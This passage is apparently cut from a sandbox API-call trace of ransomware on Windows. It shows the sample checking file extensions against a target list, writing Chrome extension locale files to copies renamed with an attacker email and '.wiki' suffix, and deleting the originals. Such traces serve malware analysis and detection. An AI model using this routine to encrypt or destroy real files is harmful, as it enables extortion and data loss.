(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.523] lstrlenW (lpString=".doc") returned 4 [0178.523] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.523] lstrlenW (lpString=".docx") returned 5 [0178.523] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.523] lstrlenW (lpString=".pdf") returned 4 [0178.523] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.523] lstrlenW (lpString=".xls") returned 4 [0178.523] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.523] lstrlenW (lpString=".xlsx") returned 5 [0178.523] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.523] lstrlenW (lpString=".ppt") returned 4 [0178.523] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.523] lstrlenW (lpString=".zip") returned 4 [0178.523] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.523] lstrlenW (lpString=".rar") returned 4 [0178.523] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.523] lstrlenW (lpString=".bz2") returned 4 [0178.523] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.523] lstrlenW (lpString=".7z") returned 3 [0178.523] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.523] lstrlenW (lpString=".dbf") returned 4 [0178.523] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.524] lstrlenW (lpString=".1cd") returned 4 [0178.524] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.524] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.524] lstrlenW (lpString=".jpg") returned 4 [0178.524] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.524] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.524] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.524] lstrlenW (lpString=".doc") returned 4 [0178.524] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.524] lstrlenW (lpString=".docx") returned 5 [0178.524] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.524] lstrlenW (lpString=".pdf") returned 4 [0178.524] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.524] lstrlenW (lpString=".xls") returned 4 [0178.524] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.524] lstrlenW (lpString=".xlsx") returned 5 [0178.524] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.524] lstrlenW (lpString=".ppt") returned 4 [0178.524] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.524] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.524] lstrlenW (lpString=".zip") returned 4 [0178.524] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.524] lstrlenW (lpString=".rar") returned 4 [0178.524] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.524] lstrlenW (lpString=".bz2") returned 4 [0178.524] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.524] lstrlenW (lpString=".7z") returned 3 [0178.525] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.525] lstrlenW (lpString=".dbf") returned 4 [0178.525] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.525] lstrlenW (lpString=".1cd") returned 4 [0178.525] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.525] lstrlenW (lpString=".jpg") returned 4 [0178.525] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.525] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.525] lstrlenW (lpString="messages.json") returned 13 [0178.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.526] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=642) returned 1 [0178.526] CloseHandle (hObject=0x19c) returned 1 [0178.526] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json")) returned 0x2020 [0178.526] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.526] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.526] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.527] GetLastError () returned 0x0 [0178.527] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x282, lpOverlapped=0x0) returned 1 [0178.529] WriteFile (in: hFile=0x2e0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x290, lpOverlapped=0x0) returned 1 [0178.529] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.529] WriteFile (in: hFile=0x2e0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.530] SetEndOfFile (hFile=0x2e0) returned 1 [0178.530] CloseHandle (hObject=0x2e0) returned 1 [0178.530] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.530] SetEndOfFile (hFile=0x19c) returned 1 [0178.531] CloseHandle (hObject=0x19c) returned 1 [0178.531] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.531] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json")) returned 1 [0178.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.531] lstrlenW (lpString=".doc") returned 4 [0178.531] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.531] lstrlenW (lpString=".docx") returned 5 [0178.531] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.531] lstrlenW (lpString=".pdf") returned 4 [0178.531] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.531] lstrlenW (lpString=".xls") returned 4 [0178.531] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.531] lstrlenW (lpString=".xlsx") returned 5 [0178.531] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.531] lstrlenW (lpString=".ppt") returned 4 [0178.532] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.532] lstrlenW (lpString=".zip") returned 4 [0178.532] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.532] lstrlenW (lpString=".rar") returned 4 [0178.532] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.532] lstrlenW (lpString=".bz2") returned 4 [0178.532] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.532] lstrlenW (lpString=".7z") returned 3 [0178.532] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.532] lstrlenW (lpString=".dbf") returned 4 [0178.532] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.532] lstrlenW (lpString=".1cd") returned 4 [0178.532] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.532] lstrlenW (lpString=".jpg") returned 4 [0178.532] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.532] lstrlenW (lpString=".doc") returned 4 [0178.532] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.532] lstrlenW (lpString=".docx") returned 5 [0178.532] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.532] lstrlenW (lpString=".pdf") returned 4 [0178.532] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.884] lstrlenW (lpString=".xls") returned 4 [0178.884] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.884] lstrlenW (lpString=".xlsx") returned 5 [0178.884] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.884] lstrlenW (lpString=".ppt") returned 4 [0178.884] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.884] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.884] lstrlenW (lpString=".zip") returned 4 [0178.884] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.884] lstrlenW (lpString=".rar") returned 4 [0178.884] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.885] lstrlenW (lpString=".bz2") returned 4 [0178.885] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.885] lstrlenW (lpString=".7z") returned 3 [0178.885] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.885] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.885] lstrlenW (lpString=".dbf") returned 4 [0178.885] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.885] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.885] lstrlenW (lpString=".1cd") returned 4 [0178.885] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.885] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 155 [0178.885] lstrlenW (lpString=".jpg") returned 4 [0178.885] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.885] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.885] lstrlenW (lpString="messages.json") returned 13 [0178.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.886] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=710) returned 1 [0178.886] CloseHandle (hObject=0x1ac) returned 1 [0178.886] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json")) returned 0x2020 [0178.886] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.886] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.886] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.886] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.886] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.887] GetLastError () returned 0x0 [0178.887] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x2c6, lpOverlapped=0x0) returned 1 [0178.888] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0178.889] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.889] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.889] SetEndOfFile (hFile=0x1a0) returned 1 [0178.890] CloseHandle (hObject=0x1a0) returned 1 [0178.890] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.890] SetEndOfFile (hFile=0x1ac) returned 1 [0178.890] CloseHandle (hObject=0x1ac) returned 1 [0178.891] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.891] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json")) returned 1 [0178.891] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.891] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.891] lstrlenW (lpString=".doc") returned 4 [0178.891] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.891] lstrlenW (lpString=".docx") returned 5 [0178.891] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.891] lstrlenW (lpString=".pdf") returned 4 [0178.891] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.891] lstrlenW (lpString=".xls") returned 4 [0178.891] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.891] lstrlenW (lpString=".xlsx") returned 5 [0178.891] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.891] lstrlenW (lpString=".ppt") returned 4 [0178.891] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.891] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.891] lstrlenW (lpString=".zip") returned 4 [0178.891] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.891] lstrlenW (lpString=".rar") returned 4 [0178.891] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.892] lstrlenW (lpString=".bz2") returned 4 [0178.892] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.892] lstrlenW (lpString=".7z") returned 3 [0178.892] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.892] lstrlenW (lpString=".dbf") returned 4 [0178.892] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.892] lstrlenW (lpString=".1cd") returned 4 [0178.892] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.892] lstrlenW (lpString=".jpg") returned 4 [0178.892] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.892] lstrlenW (lpString=".doc") returned 4 [0178.892] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.892] lstrlenW (lpString=".docx") returned 5 [0178.892] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.892] lstrlenW (lpString=".pdf") returned 4 [0178.892] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.892] lstrlenW (lpString=".xls") returned 4 [0178.892] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.892] lstrlenW 